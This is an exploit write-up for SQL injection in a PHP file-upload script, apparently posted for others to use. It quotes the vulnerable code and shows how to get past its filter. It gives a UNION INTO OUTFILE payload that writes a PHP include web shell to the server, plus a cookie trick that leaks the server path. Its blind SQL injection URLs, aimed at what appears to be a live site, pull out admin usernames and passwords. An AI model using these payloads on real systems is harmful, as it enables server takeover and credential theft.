Result = UNION
We can use this to upload a file, using the "dumpfile" and "outfile" Mysql functions.
POC:-
conditions: magic_quotes_gpc = off // 0777 chmoded folder // location of folder.
To get location in server, we can generate an error using the STYLE cookie handler, to do this we need to set tempst=qabandi.
javascript:document.cookie="tempst=qabandi";
Refresh,
you will get the following:
Warning: file(templates/Qabandi/main_block.html) [function.file]: failed to open stream: No such file or directory in /home/XXXXXXX/public_html/function.php on line 33
now we have the location in server, "/home/XXXXXXX/public_html/"
"/home/XXXXXXX/public_html/upfiles/" <--- 99% of the time its chmoded 0777.
now the exploit:
http://localhost/pc4up/code.php?load=banner&id=-1 UNunionION select 1,2,3,'<? include($Q);?>',5,6,7,8,9 into outfile '/home/XXXXXXX/public_html/upfiles/qabandi.php'

----------Vulnerable code@ "./code.php"-----------------------------------------
if ( $_GET['load'] == "banner" )
{
$idx = $_GET['id'];
$idx = strip_tags( $idx );
$idx = filter_sql( $idx );/// <------ SIMPLY bypassed by using "unUNIONion" ;)
if ( !( $query_banner = mysql_query( "SELECT * FROM banners WHERE id={$idx}" ) ) )
{
exit( "Query failed" );
}
$x = mysql_fetch_row( $query_banner );
$url = $x[2];
$visits = $x[5];
if ( !( $query = mysql_query( "UPDATE banners SET visits=visits+1 WHERE id ={$idx}" ) ) )
{
exit( "Query failed" );
}
header( "Location: {$url}" );
}
--------------:PoC:-------------
conditions: admin must have added a banner using the "add banner" feature. the banner ID must be valid.
Blind SQL DEMO:-
http://upload.traidnt.net/code.php?load=banner&id=1 and substring(@@version,1,1)=4 <-- TRUE! (MySQL version 4)
http://upload.traidnt.net/code.php?load=banner&id=1 and substring(@@version,1,1)=5 <-- BLANK
To get info:
http://upload.traidnt.net/code.php?load=banner&id=1 and ascii(substring((SELECT concat(username,char(62),password) from admin limit 0,1),1,1))>95
